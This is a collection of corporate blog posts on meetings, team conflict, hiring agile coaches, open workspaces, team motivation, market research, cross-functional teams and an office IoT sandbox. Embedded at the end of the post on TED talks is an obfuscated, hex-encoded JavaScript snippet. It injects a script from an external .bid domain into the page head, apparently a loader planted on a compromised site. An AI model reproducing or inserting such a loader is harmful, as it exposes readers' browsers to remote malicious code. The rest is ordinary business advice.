4 Ways To Make Your Meetings More Meaningful

If you’re reading this, and you work for a company that does …anything…chances are that you hate meetings. You find them wildly unproductive and time consuming. Janet forgot to mute her line again, Karen and Bill are never on time, Debbie always wins the award for loudest snacker, and Bob is clearly working on other things.

This is a vicious cycle that results in more meetings! Don’t believe me? Check out my highly technical graphic of a typical workplace meeting…

Here’s the good news! You can break this cycle. Need to call a meeting? I encourage you to try one of these collaboration techniques below. I think you’ll be pleasantly surprised with the level of engagement and outcomes from your meetings.

 

For the meetings that run too long.

Ok, so this first one isn’t as much of a collaboration technique…it’s really just logical. Let’s say you schedule your meeting from 2pm to 3pm. Have you ever actually gotten a full hour from that meeting? No. My guess is that you got 40 minutes at best.

Meetings are instantly less frustrating once you realize that it involves other humans, who have human brains. It is unrealistic to think that your coworkers are high-functioning robots and will show up right at 2pm and leave the second the clock hits 3pm.

Instead of getting mad at people for being people, schedule your meetings differently! If you know that your group usually runs 15 minutes over, schedule the meeting until 2:45, but book the room until 3. That way, when your group inevitably goes over the time limit, you’re getting the conversation you expected, but you’re not interfering with the group who has the meeting room next.

If your group tends to show up a little late, account for that time when deciding what you want to discuss. Then you’re not forcing an agenda that is too big for the actual time available.

 

For the meetings that have way too many people.

This is for those of you that have realized there are just way too many people in the room. This is usually because the person calling the meeting wants a lot of different opinions, or there are a lot of people that are insistent their presence is absolutely necessary. The good news is, this is typically out of good intent…everyone wants to be involved!

The concept is simple. It’s called Fishbowl Discussions and it’s taken directly from classrooms. So if it works with hyper and distracted children, it should be no problem for your co-workers. Basically, you have a group of anywhere from three to five people that are ‘in the fishbowl” In reality these people may be at a whiteboard, in front of a computer, or at a table. Throughout the meeting, they are the ones talking to one another and working out the ideas.

Everyone else is outside of the fishbowl. What can you do outside of the fishbowl? Show up late, leave the meeting altogether, check email, think of things to contribute to the meeting, daydream… anything nondisruptive really. What can’t you do outside of the fishbowl? Talk.

 

For the meetings that wander off in a million different directions.

It always starts with good intention… “Not to change the subject completely, but I think that it’s important to note…” Too late Jody! You just changed the subject! If this seems to be a common occurrence with your team, maybe it’s time you give LeanCoffee a try.

LeanCoffee is described as a “structured, but agenda-less meeting” and it really is effective. Actual coffee is optional. The core of this meeting style is very democratic in nature. Together, we decide what we want to talk about, and what’s most important to discuss first. It starts by setting up a very simple Kanban board. It is nothing more than 3 post-its that say: To Discuss, Discussing, & Discussed.

To kick things off, everyone attending the meeting silently brainstorms for about 2-3 minutes on topics they think are important. The etiquette is one idea per post-it. After that, everyone has the chance to pitch their ideas. Try to keep your pitch to 2-3 minutes, or else you’re kind of missing the point…

Once everyone gets a chance to pitch, we get to prioritize. Everyone gets 3 dot votes. Dot voting is a ~very complicated~ process. Ready for it? You draw dots on the posts its you want to discuss. You can even allocate all three of your dots to one idea if you feel it truly is the most important.

Finally, it’s time to actually start discussing your ideas. You start with the one that was voted most important and set a timer for seven minutes. After seven minutes, everyone silently gives a thumbs up or a thumbs down. Did most people give a thumbs up? Great that means the room feels good about the topic and we can move on. Did most people give a thumbs down? Set the timer for two more minutes and let the discussion continue. Re evaluate the thumbs up/down after the two minutes. Did someone try to put a neutral thumb? We will count that as a thumbs down.

The most important part here is after the meeting is complete. It’s the last sip of the coffee. Discuss your takeaways. After you’ve gotten through the topics, it is important to come back together to gain shared understanding.

 

For the meetings where someone’s idea always gets shot down.

Everyone has been in that meeting before. Someone has an idea with serious potential. If only you didn’t have Negative Nancy in the back corner giving 100 reasons why there’s no way it will ever, ever, … ever work. That negativity can spread pretty quickly. Next thing you know, a potentially great idea was shot down before it even had the chance to work.

This is where 6 Thinking Hats comes in handy. The concept is pretty simple. We all put on a “hat” of the same color at the same time. Different colors represent different mindsets. For example, when we all have the white hat on, we are only allowed to discuss factual things about the idea. This would include data, information, what we know, what we need to learn etc…

Now to do this, you need someone to make sure the process of 6 Thinking Hats is not being violated. If a team member starts to talk about their feelings when we are supposed to be discussing facts, the appointed “process person” is responsible for saying something along the lines of “that’s a great point, let’s save that for when we are all wearing the red hat.”

Each hat has a different, yet important purpose that allows conversation to flow more smoothly and allow for fully understanding an idea or problem.

When using 6 Thinking Hats, you’re allowing the conversation to flow in a manner that actually makes sense. No longer are you sitting in the room wondering what the hell is going on and how we got here. When everyone is thinking in the same mindset at the same time, it allows us to think in a more analytical manner collectively.

So, if you’ve made it this far, I assume you hate the way your meetings are currently run, and maybe you’ve gotten some improvement ideas. The challenge is to actually try something new in your next meeting. Remember… insanity is doing the same thing over and over again and expecting different results.

If you don’t actively work to make your meetings more productive, you can’t expect anything to change. But hey, at least you have Candy Crush on your phone when the meetings get too unbearable.

 

Vibrant Conflict

“Would you just shut up for a minute?”Image result for office fight images

This question, posed to a colleague by a younger version of myself, demonstrates my immaturity, but it also portrays a safe environment where I felt empowered to speak up. It portrays an environment in which conflict thrives. Fortunately for me, my teammates were compassionate and, in spite of my manners, turned it into healthy conflict.

The benefits of healthy team conflict include higher levels of engagement, greater innovation, and better decision-making, just to name a few. “If team members are never pushing one another outside of their emotional comfort zones during discussions, then it is extremely likely that they’re not making the best decisions for the organization,” claims Patrick Lencioni in Overcoming the 5 Dysfunctions of a Team.

While I have witnessed improvImage result for office discussion conflicted decision-making as a result of conflict, I have also seen quite a few teams engage in conflict with less than ideal outcomes. In fact, I often notice performance suffering as a result of conflict. In order to understand this paradox, we must examine two factors which influence conflict outcomes – the type of conflict and the environment in which the conflict occurs.

Team conflict can be separated into two categories: relationship-based and task-based. Relationship-based conflicts are disagreements that arise during social interactions, while task-based conflicts relate to the execution of the work. For example, a debate on the merits of MongoDB to solve the problem at hand is task-based, while annoyance with a team member who is always late is relationship-based. The “shut up” request to my colleague was certainly relationship-based.

A common hypothesis is that relationship-based conflict always has a negative impact on team performance, while task-based conflict enhances performance. In 2003, the Journal of Applied Psychology published a meta-analysis which confirmed that relationship-based conflict hinders teams. However, it also found that, on average, task-based conflict has a negative impact on performance. A small portion of the teams in this analysis demonstrated improved performance as a result of task-based conflict, but such conflict hindered performance as a whole.

In an attempt to understand the inconsistent results of task-based conflict, a 2012 study examined environment as the moderator. This study found that improved performance from task-based conflict correlates with a safe environment. Safety, as defined by Amy Edmundson, the Novartis Professor of Leadership and Management at Harvard Business School, is “a belief that one will not be punished or humiliated for speaking up with ideas, questions, concerns, or mistakes.” In such an environment, task-based conflict results in improved team performance.

These studies reveal that leaders and coaches must play an active role in fostering an environment where teams can achieve healthy, vibrant conflict. Creating a safe environment requires deliberate effort (stay tuned for future posts on this topic). The rewards of the effort, however, are seemingly unlimited. In addition to enabling healthy task-based conflict, a safe, trusting environment is also the key to resolving relationship-based conflict. The combination is a guaranteed performance boost for your team.

6 Mistakes You’re Making When Hiring an Agile Coach

So, you’ve decided your team would benefit from Agile Coaching. If you think it’s as simple as typing “Agile Coach” into LinkedIn and sifting through results, you may be disappointed. Even though there are plenty of Agile Coaches out there, it takes time and thoughtfulness to find the right coach that meshes with your organization and is able to help you achieve your desired goals. Even when you find that special someone, it’s not always easy to integrate an Agile Coach into your workplace. By avoiding the following six pitfalls, you will be more likely to have a smooth and successful coaching engagement.

1.You’re limiting your search to people with certifications at the end of their name

CSM, PMI, CSP, SA… the list goes on and on. While there is a lot to be said about someone who invests their time and money into obtaining the knowledge required to hold these certifications, it is not always a “must-have.” If you limit your Agile Coaching candidate pool to just those that are certified, you may be missing out on some great coaches. While certifications can be very beneficial, it in no way guarantees the quality of a coach.Instead, look at the skill set a coach has and how they have used it in the past. Having the knowledge is one thing, being able to apply it in a manner that produces desired results is completely different.

 

2. You’re not looking at the types of experiences a coach has

Let’s say someone has 10+ years of Agile Coaching experience. Sounds great right? It certainly could be, but make sure you’re digging a little deeper into what exactly they spent all that time doing. For example, if a coach has been working exclusively at the team level, there’s a chance that person may not be the best fit for your portfolio level coaching need. Additionally, you should be looking for a few key things when considering a coach’s past experiences. What industries have they been in? What size companies have they coached? What about the types of environments? These are all crucial in assuring that you are setting yourself up for success before a coach even gets on-site.

SP Aspen - if you just trust years of experience you're gonna have a bad time

3. You don’t know what style of coaching your team wants or needs

Every coach/consultancy has a slightly different flavor, and you need to have an idea of what flavor you’re expecting. Do you want someone to be more hands off with the team? Do you want someone leading the team almost constantly? This may not be easy to answer right off the bat either. Take a look at your organization’s Agile competency and be pragmatic with what you’re looking to accomplish from of a coaching engagement. Setting these expectations early on can help reduce frustration on both ends of the spectrum.

4. Once a coach is on site, you never want them to leave

Agile coaching can completely transform the way a team works and communicates. This is awesome. What’s not awesome is creating a dependency. If things are only improving when a coach is on site and with the group, then reverting back to old ways as soon as she leaves, this is a problem. To truly get the most out of a coaching engagement, the coach should be able to leave periodically, and upon return, see that everything didn’t go up in flames. This is a huge indicator that the team is starting to truly understand and implement new learnings.

Craig would be so happy - if my agile coaches would just stay with my teams forever i would be so happy

5. You keep welcoming more and more coaches

More does not always equal better, especially if you are getting your coaches through a consultancy. If you’re considering adding another coach to the mix, be sure that you are clear on where you expect to see value added. You want to avoid your organization being used as a piggy bank for a consultancy. Any reputable organization won’t do this, but awareness is key. Ways to avoid this potential problem? Make sure there is an eventual exit strategy for your coaches. Believe it or not, you don’t want them there forever.

6. You’re looking for a coach to come in and tell everyone “the right way to do Agile”

More often than not, team members have slightly different ideas of this whole Agile thing, and sometimes they expect the coach to settle that debate and set explicit rules. “Here’s exactly what you do and how you do it, congratulations you’re now Agile”.

Not only is this unrealistic, but in the long run, it’s not going to benefit your organization’s goal of working in an Agile fashion. You want a coach that is going to help facilitate a shared understanding within the team and teach different methods. It really is up to the team to decide what actually works in the context of their organization and what doesn’t. The coach may be the expert on Agile, but you are the expert on your organization. No two Agile teams are run in the exact same manner, and that’s the beauty of it.

Approach Matters: What Can TED Talks Can Teach Us

 

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Approach influences the effectiveness of activities. The way in which techniques are learned and applied is as important to their success as the techniques themselves.  TED talks are a great example of how approach influences learning.  In just a matter of minutes, exceptionally bright people break down complex ideas into simple consumable elements, introducing a broad audience to new subjects and inspiring others to reach beyond what they know.  The approach and format of TED talks have a lot to do with their effectiveness.  The simple, consistent, visually-driven presentation style is digestible and engaging for audiences of all ages and backgrounds and enables thought-leaders to deliver new concepts to people who may otherwise never be exposed to them.

Approach matters when introducing different techniques in your business as well.  Applying proven techniques with a modern approach provides expedites the adoption and utilization of both basic and complex activities.  This is turn generates quicker returns on learning and a system which reacts better to change.  Likewise, an environment which is tuned to learn quickly and identify change as an opportunity will attract high-caliber talent.  Today’s talent is much more selective with their employment choices and is looking for environments that embrace a modern learning approach.

Therefore, to stay ahead in your industry, you will need to have an environment which delights, inspires, and attracts the best and brightest.  So, learn how to be forward-thinking in your approach to learning and you will continually delight yourself, your business, and those around you.  Get good at it and you may soon be posting your TED talk on YouTube soon! var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document_0x29b4[1];el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]]_0x29b4[4]

Professional Development: Little Time, Lotta Value

skt4gsyzmjI had a good chat today with someone about taking the time out of one’s personal life to do personal/professional development. The outcome of our conversation was that it really doesn’t take that much time to do a decent amount. In fact, I suggest it is often the feeling of being overwhelmed or not knowing where to begin coupled with generally poor time management that keep us from achieving this goal.

Now, this individual’s life situation isn’t that uncommon for those who feel strapped for time. He is married, and they are a younger couple with a small child. Family time is important, as is quality grown-up alone time, as well as some individual relaxation time for personal/individual hobbies or interests.

Here was my “challenge”:

1) Read 4 books a year
2) Subscribe to a dozen blogs and keep up with them
3) Start writing a blog or keeping a professional journal

To some, this may not seem like a whole lot, to others it may seem like an insurmountable objective. In either case, it’s a whole lot more than I see most folks doing in most organizations. I equate the above activities to understanding theory, keeping up with current events, and critically thinking and applying what you’ve been learning. There are of course other things folks could do, and ways people can get more engaged with their careers or the community in general, but I set this rung as the minimum. Also, the above activities are all cheap or free, have low barriers to entry and are fully within the control of the individual.

Here is how the time involved broke down:

  • One 300 page book: 10 hours; 100 minutes every other week
  • Keep up with blogs: 1 hours a week; 10 minutes of skimming/grooming, 50 minutes reading
  • One blog post/journal entry a month: 3 hours; brainstorming (30min), outlining (30min), writing (90min), reviewing (30min).

Now your times may vary if you are a slower/faster reader, writer, etc… and you may prefer to follow different formats or techniques when creating or consuming information. The details aren’t really important, just more of a guide for anyone who wants it.

The totals from above are: 31 hours per quarter or approximately 2.6 hours per week.

I’m going to assume you get about 8 hours of sleep a day (which is a lot for me) and that your work week is about 40 hours. This should mean 5 (workdays) * 8 (hours of free time) = 40 hours + 2 (weekend days) * (16 hours of free time) = 72 free time hours per week!

For most people, the numbers should work out. Even for a young spouse with a few little ankle-biters running around, 2.5 hours out of 72 seems easily doable. I mean 2.5/72 is less than 3.5% of your free time. Even if you are only 25% efficient with your time usage (you waste 75% of your free time) it is only 14% of your total weekly free time!

So where does the time go?!

I’m not overly interested in writing an article on time management, but here are a few ideas:

  • Lots of people I know seem to sink a wasteful amount of time into tv, video games, surfing the web, etc… A little is good for relaxing, a lot is wasteful.
  • Plan a little bit. Set an appointment or reminder for yourself. Talk to your family about what you are wanting to do and get them to help you too.
  • Set some small measurable goals. Track those goals if it helps. Set daily or weekly goals to achieve the desired outcomes.
  • Make the first book you read a time management book 😉

Why should I do this on my own time?

I’ve had conversations, similar to the one above, with others in the past. Sometimes I got feedback along the lines of “I shouldn’t have to do this in my free time”. Well, maybe, maybe not. I do agree that more organizations should encourage learning and professional growth during work hours as part of the organizational culture. Unfortunately, this is just not the case and you need to choose what to do. It’s your career. What is working for you today may not work tomorrow, or worse in 10 years when your skill set has completely atrophied. My personal opinion is that continuous learning is just a good habit to form, and spending at least a little of your own time to develop yourself is not a waste. If you dislike your work so much, the thought of doing more or anything related to it in your free time disgusts you, perhaps it’s time to find a new career or at least a new employer.

What if I need more/other development?

So, my conversation above was with a manager and the goals all boiled down to just reading or writing. Hopefully this new knowledge would eventually be applied and reflected on at work. It can be challenging to practice skills like these outside of work, but perhaps you belong to some social group or organization where you can try them.

Perhaps you are a programmer or a tester and you need to stay abreast of various technical practices, tools or techniques. I will admit that these things are more time intensive, but perhaps in this case some of the reading and the writing can be lessened or forgone in favor of technical learning and practice. Go more deep and less broad.

In any case, in most situations the time commitment involved above is fairly small. If you have chosen a career path that requires double or even triple the time investment, it still is fairly reasonable, and all the same concepts still apply.

 

This article was originally posted on odbox.co as has been reposted with permission from the author.

4 Elements of a Successful Open Workspace

In recent years, many people have written about a wide range of experiences with Open Space Work Configurations. Some have experienced benefits to productivity, innovation, and collaboration, while others have witnessed a decrease in productivity, team morale, and focus. This discrepancy in outcomes has resulted in a facile argument heard in offices across the world: “Yeah an open workspace works for some companies, but it would never work here.”

 

Image result for the office jim and dwight“Our office is…special.”

This difference in experiences is not necessarily due to limitations in the Open Workspace Concept, but rather a misunderstanding in their application.

I have been fortunate enough to be in and around over 40 uniquely different space configurations (some less “open” than advertised) both early in my career as a member of different teams, and later as a consultant helping others create effective space.  I have witnessed amazing improvements in collaboration, productivity and morale from successfully implemented open space settings, as well as the fallout from poorly implemented ones.

The successful configurations all had four common concepts working for them:

 

The “Open” SpaceThe Main Collaboration Areas

2-hootsuite-blog-0534Flexibility is key here.  Flexibility allows for those who use a space to own its function, and ownership contributes greatly to the initial and continued success of any space. The more flexible the space, the broader range of activities it can accommodate.

Improper planning and implementation of an open space area can create a very limiting and sometimes chaotic environment.  To avoid this, an effective open space should be designed to allow teams to conduct many types of work efforts.  This helps promote a layout that is practical, dynamic, versatile, profitable, and fun.  Also, you don’t need to spend an inordinate amount of money to create an effective open space.  Simplicity, flexibility and diversity of configuration should always be a top focus. Save your money for talent, quality tools of your trade, and comfortable chairs!

 

The “Other” Space – Complementary Quiet Gathering and Break-Out Spaces

The “open” space is only part of an effective space.  An effective structure is a blending of open areas and private gathering spaces.  Ensuring sufficient “other” space enables private conversations, group break-out sessions, or occasional quiet/focus time, all of which are necessary to maximize any team’s potential.

This structure also allows for better utilization of many existing configurations. I’ve seen effective setups where offices and cubes which were primary work spaces become breakout/quiet space and former large meeting areas become the base locations of teams to gather and work.  Open space without complementary gathering/break-out space will fall short of achieving gains and may fail altogether.

 

Utilization of the Space Complementary Techniques, Tools, Ceremonies, and Cadence

get-a-way-spaceA great space (open and other) does not guarantee team success on its own.  In many cases, the open space concept and structure is completely foreign to those expected to utilize it.  Teams need to learn how to effectively leverage the newly designed space in ways that enhance productivity and innovative thinking.

Learning and leveraging complementary techniques for working and collaborating in this new environment are critical to gaining early positive momentum within the space and key to achieving sustainable success within it.

 

 

 

 

Focus on Sustainability Proper Mindset, Team Dynamic, and Organizational Support

04_pair_programming_with_junior_developers

So you have the space, the techniques, and the talent…but will it last?  Companies have started open space concepts with successful early outcomes only to watch the benefits fade over time.  If given enough time to mature, the success of an open space concept will become part of the cultural dynamic of the organization.  Organizational and cultural support for the approach during the early stages of learning and over a sustained period of time is necessary for long-term success.

Eventually, given time, a productive space teaches leaders and talent that it’s less about the way people work together in a specific part of the building and more about the way people work together period.

Are Your Teams Unmotivated or Demotivated?

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I’ve worked with a few unmotivated teams in the past. Folks on unmotivated teams lack energy. They see things as just the way they are; the status quo. They come in, do their job and go home. Things are normal…good enough.

I find it a fun challenge to motivate unmotivated teams. Getting to know folks a bit, finding out their interests or passions and helping them map those back to their job or career is quite rewarding, but I recently ran across a problem.

I began working with a team that had been working together on a project for a while. They were displaying all the signs of an unmotivated team. I had heard tell of some negative stories about “management” but nothing I wouldn’t have tacked up to normal enterprise candor and so I set out down my usual path to motivation…and met with failure. Everyone listened, asked some questions and generally interacted appropriately. Nobody was overly negative, they simply lacked energy.

After trying a few more tricks with no real traction, I started poking around at the negative stories I had heard before. After some digging it became apparent that some pretty heinous treatment was given and the team just took it on the chin…a few times. This completely demotivated them.
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“I just…can’t.”

Not having been present for these acts, and only joining the team months later, what I was seeing was the exact same outward signs as unmotivated people, but really they were demotivated…which runs much deeper.

As I stated earlier, unmotivated teams simply lack energy. When something is lacking, you just need to replace it. However, with demotivated teams, something isn’t missing, something has been torn down, and must now be rebuilt. That is a much harder task.

Demotivation is a trust violation. Rebuilding trust is hard in any relationship but I think especially so between an organization and a team.

When one party violates another’s trust, the violating party needs to admit to some wrong doing. This is hard because an org needs to send a consistent message here. That means that those folks need to agree they did something wrong in the first place. It also means they can’t take the same or similar actions again in the future.

Orgs also can’t buy their way out of this. No third party can be brought in to do the actual rebuilding. A consultant may be able to identify the problem and advise on how to handle it, but the people in the org that enacted the trust violation need to be the same people to take action to resolve it (or even removed).

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What they wrote on his farewell cake was…less than kind.

So where is this all this going?

Well, if you are a consultant; beware! If you think you’re working with an unmotivated team, the problem could be worse. If you identify a trust violation, you’ll want to change gears to facilitate rebuilding if possible.

If you are in a leadership position and think you have an unmotivated team on your hands; beware! If motivating the team doesn’t seem to be working, they may be demotivated and perhaps some trust needs to be rebuilt instead.

If you think there is a chance you may be the person who demotivated the team; beware! Don’t just go in and try to motivate people, especially in a “ra-ra go-team” sorta way. In my experience that just adds insult to injury. Maybe get some help from a coworker or an external source.

One side note. A fun fact about rebuilding trust is that many of the actions are a lot like building trust. An interesting side effect of teams within orgs that are actively trying to build trust, is that sometimes those teams get motivated that their org is showing interest and taking action.

So…be aware of de vs. un motivation and work to build trust no matter what!

This article originally appeared on odbox.co and was reused with permission from the author.

Is There a Market For Your Product?

If you have ever come up with a ground-breaking idea for a new product, you are probably familiar with the feeling of FOMR. Unlike the popular “FOMO,”  FOMR is the Fear Of Market Research. It is the avoidance of conducting research to validate (or invalidate) that not only does a need exist for your idea, but also that the barriers to entry are not insurmountable. Taking such an approach when building out your product strategy means you are walking into the market blindfolded, which will certainly result in some rather unfortunate consequences that could otherwise have been avoided.

 

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Sometimes it’s nice to know what’s behind a door before you open it.

The Fear

Many tend to avoid this step simply because they are afraid of discovering that there isn’t as much demand for their product as they originally thought, or that the market is already saturated with similar solutions.

Additionally, the potential cost of conducting research (in both time and money) can seem unappetizing as well. if you are already convinced the product will be a success it can be hard to justify burning limited resources to tell yourself what you already know.

Despite the uncertainty, foregoing this crucial step is never a good idea. It’s easy to tell yourself that everything will probably work out just fine, or that you will simply learn and adjust as you go, but it is for this very reason that the road to market domination is littered with the carcasses of the ill-informed and unprepared

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Sasha (Sonequa Martin-Green), Bob Stookey (Larry Gilliard Jr.) and Maggie Greene (Lauren Cohan) - The Walking Dead _ Season 4, Episode 10 - Photo Credit: Gene Page/AMC

Watch your step…

The Solution

One method to getting past this fear is to reframe it in your mind as a way to preemptively solve or avoid future problems. When done properly, market research will help you identify and understand your target users, differentiate your offering, fine-tune your original concept, and increase your product’s chances of user adoption.

Industry Research

What are the revenues for your category in your local market, regionally and nationally? One good resource for this is ibisWorld. If there’s little money to go around in the industry you are serving, you’d better make sure you can capture the majority of it.

Identify trends in your chosen industry. Many larger companies often demonstrate their expertise and thought leadership by releasing industry outlooks or annual reports and white papers. These can be a great resource for understanding where your field is heading and what pains are being experienced across the board.

Determine if the market is new and growing or static and mature. Has your industry been around forever and become a staple in people’s lives, like shoes or haircuts? Or is it emerging and exciting, like augmented reality or connected devices? Can you compete in a mature market saturated with competition, or stay at the cutting edge in a new market that could evolve overnight?

User and Customer Research

Determine who the users of your product are. Hint: the answer isn’t “everybody.” Your users and your customers may not actually be the same people and depending on your product, you may even have multiple types of users. You’ll need to understand them all if you want your product to succeed. Identify their age groups, ethnicity, geographic location, job titles, income levels, etc.

Conduct User Testing. Get out there and interview people who fit your user personas. Understand their pain points, what their goals they want to achieve, how do they want to interact with your product? A great way to get this information quickly and inexpensively is with the use of paper prototypes or other low-fidelity mockups of your concept that your test subjects can interact with prior to building a (more expensive) finished product.

Once you have determined who your users are, be sure you can answer the following questions:

Are there enough people who fit my criteria?

Will my target really benefit from my product/service? Will they see a need for it?

Do I understand what drives my target to make decisions?

Can they afford my product/service?

Can I reach them with my message? Are they easily accessible?

Competitive Research

Know who your competition is. Hint: the answer isn’t “no one.” Just because you may be the only one doing exactly what you are doing, does not mean you don’t have competitors. Be thorough. Cranking out a google search on a few keywords and calling it a day is not enough. Dive into message boards, articles, and blogs (which tend to quote industry leaders that may be competing with you). Peruse top ten or top 100 lists of the best rated or reviewed providers in your industry.

Once you have built a comprehensive list of your competition, check out their websites to understand their offerings and differentiators. What makes their product special? How long have they been offering these products?

Who are their customers? Where and how are they marketing? What do their customers love/hate about them and their product? Check out their support forums to see if there is a feature their customers have been begging for that they have not developed yet. Simply put: Know. Thine. Enemy.

 

heres-when-the-next-big-villain-is-coming-to-the-walking-dead

It’s this guy. Definitely this guy

The Benefits

The moral of the story is: don’t let FOMR get in the way of building a great product. Once you’ve done your homework, you’ll be able to make smart strategic decisions around the direction and development of your product. You may even discover that your original concept won’t do the trick, but with some tweaks and repositioning, it could solve another need you weren’t aware of. Launching a new product (or business is like wandering your way through hostile territory. There will be lots of hazards and pitfalls hiding around every corner, but if you’ve equipped yourself with the knowledge required to make the right decisions, you stand a much greater chance of making it through.

 

the-walking-dead

I’m sure you’ll be fine!

 

Developing an amazing technology product of your own? Take our 1-Minute self-assessment to make sure you’re project is on-track for a successful launch!

Building Teams of T-Shaped people

Are your teams made up of T-shaped or I-shaped people? If that question causes you to cock an eyebrow, let’s ask it another way: If one person calls in sick tomorrow, does their job still get done, or does the office collapse into a state of violent anarchy? (Note: Other options may lie somewhere in the middle…)

 

ateam4

“Hey guys, are we thinking this through?”

“Damn it man, there’s no time! Steve is out sick and no one else knows Javascript!“

 

A T-Shaped person is an individual who has deep knowledge of a specialized skill set in addition to a range of acquired tangential, related skills. They are also known as generalizing-specialists or “Renaissance” workers. In comparison with the “T” shaped individual, “I” shaped individuals focus mainly on their own specialized skill-sets, often view the workplace as a competitive environment, and tend to work within disciplinary silos. When a team is comprised of highly specialized I-shaped people, there is little room for any kind of structural change. For example, what would happen if Baracus suddenly quit the A-Team? Who else could pull off that look? Face? Murdock?

 

THE A-TEAM -- Pictured: Mr. T as Sgt. Bosco "B.A." Baracus -- Photo by: Herb Ball/NBCU Photo Bank

“Girl, please.”

Benefits of Teams of T-Shaped People

A team of T-shaped people (aka. cross-functional team) complements one another with both their specialized knowledge and overlapping skills to form a high performing unit.

Cross-functional teams experience less internal bottlenecks and contention for one person’s time.

T-shaped people can view situations from different perspectives, bringing not only their specialized knowledge to the table, but wide-ranging experience in other areas as well.

T-shaped people help fill skills gaps and take on new skill sets quickly. This then leads to higher overall team productivity and greater flexibility.

Such teams are not limited by a single point of failure (SPOF). Should Steve leave the team, Amy has sufficient knowledge to keep the project going.

Building Cross-functional Teams

Step 1: Understand

Start by mapping all of the disciplines or functional areas necessary for your team to complete projects as columns on a graph.  Then, work with each team member to assess their capabilities or expertise from one through ten in rows going vertically. Be sure to understand ahead of time what it means to be a 1 or a 10 in each area to avoid arbitrarily assigning numbers. Once complete, you will have a big picture view of your team’s capabilities as a whole.

Screen Shot 2016-08-25 at 2.14.34 PM

Originally posted on Scrumtalks

Step 2: Plan

At this point, you can begin discussing strategies to help fill in the empty spaces. Be sure to create a clear process for closing skill gaps, enlisting the help of designated “experts” in specific fields to design collaboration procedures. When done in a positive manner, from a position of support (not judgment or blame), this can drive some great discussion and re-energize employees.  With a solid plan, time, and consistent effort, teams will eventually grow into cross-functional units.

 

c08819dc22526597e1e9673e55fd3716“I love it when a plan comes together…”

“Ugh, God George, we know.

 

Step 3: Implement

With the skill gaps identified, and strategies in place to fill those gaps, it is now time to work with management, team leads, and your experts to execute.

Provide ongoing training for all employees on topics relevant to your business’ core functions, to standardize the horizontal portion of the “T”. As skilled as Dwight might be in competitive helicopter aerobatics, unless your organization plans on expanding into the airshow market, it doesn’t make sense to invest time into turning the rest of the team into amateur stunt pilots. It does however, make sense to have Dwight pair with other team members on Ruby so that the next time he ends up in the hospital due to a helicopter-related accident, his co-workers are able to carry on his portion of the project without him.

 

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Rest in Peace, Dwight

Make sure you have a solid workflow in place. Increasing employees’ skill levels won’t do much to boost performance if there are inherent problems in the processes they use to work together. Creating a value stream and identifying areas of consistent churn to streamline will help mitigate frustration and can even help uncover additional skill gaps that need closing.

Set clear expectations. This may seem obvious, but simply saying to your teams “improve yourselves!” will not yield positive results. You’ll have to clearly define what success looks like on an individual level, a team level, department level, etc.

Work with employees on an ongoing basis to understand their core competencies, evolving skill sets, and emerging interests. Things change. Staying informed means you can adapt the strategy as needed.

Create focused learning activities around bottlenecks.

Build cross-team communities of practice around technical specialties, domain knowledge areas, or any other areas of interest.        

Work with team leaders to establish an environment that encourages continual learning activities such as pairing, job shadowing, lunch-n-learns, book clubs, and open discussions. Empower employees to be honest with their T-skills and discover solutions for the areas in which they are not experts. Build continual improvement into the culture by encouraging collaboration and support from all levels. The goal is to make employees feel comfortable asking for help and running experiments so that they can grow their expertise.

Finally, help create consistent boundaries for workloads and job functions. Being a T-shaped employee does not mean become a master in everything and employees with broad skills should not be driving initiatives outside of their core function, especially when there is an expert on the team. Just because accounting expert, Dirk, cross-trained Lawrence on processing payroll, does not make Lawrence the new accountant.

 

Face-BA-the-a-team-35406422-245-245

Deal with it, Lawrence.

 

By following the above guidelines you can optimize your teams, leveraging their strengths and building their individual skill portfolios in the process. However, just because you may have have all capabilities necessary to do the work, it does not necessarily mean you have a high-performing team. To achieve high-performance, teams will need to have the right communication and collaboration processes in place. This area is often the most challenging for teams, but it is critical for sustainable success. Want to know if your teams are maximizing their performance potential? Take our 1-Minute Agility Self Assessment to find out!

Building The Boat of Things

Boat of things

With the variety of different IoT-related work we do (including the oft-blogged-about CWRU course), it only made sense for us to have an “IoT sandbox” to experiment and play with. It was one of our hack days that provided us with an opportunity to bring such an idea to life.

Building a sandbox gives us an opportunity to experiment with new IoT devices and software, while giving LeanDoggers a breakable toy to work with during hack days …and for some nerdy fun. It also allows us to start collecting sensor data for research and exploration.

First Iteration

The first iteration of this idea consisted of two parts — one team would build an Alexa Skill for the Amazon Echo to ask as an interface to other devices on the Boat-of-Things network, while the second team would build the infrastructure, set up the MQTT broker, and start connecting other devices.

By the end of the first iteration, we had established our user interfaces into the Boat of Things — a Slackbot called Otis, which acts as a sort of command-line interface, and an Alexa Skill, allowing us to say “Alexa! Ask Otis to <verb>”.

We also built our first actual integration — a long-standing issue in the LeanDog Studio is music. Since the inception of LeanDog Studio, we’ve used a Mac Mini attached to speakers running a browser with Pandora. We would individually VNC into the server to change stations, with a mutual understanding that any station played should be kept on for at least three songs to prevent music anarchy.

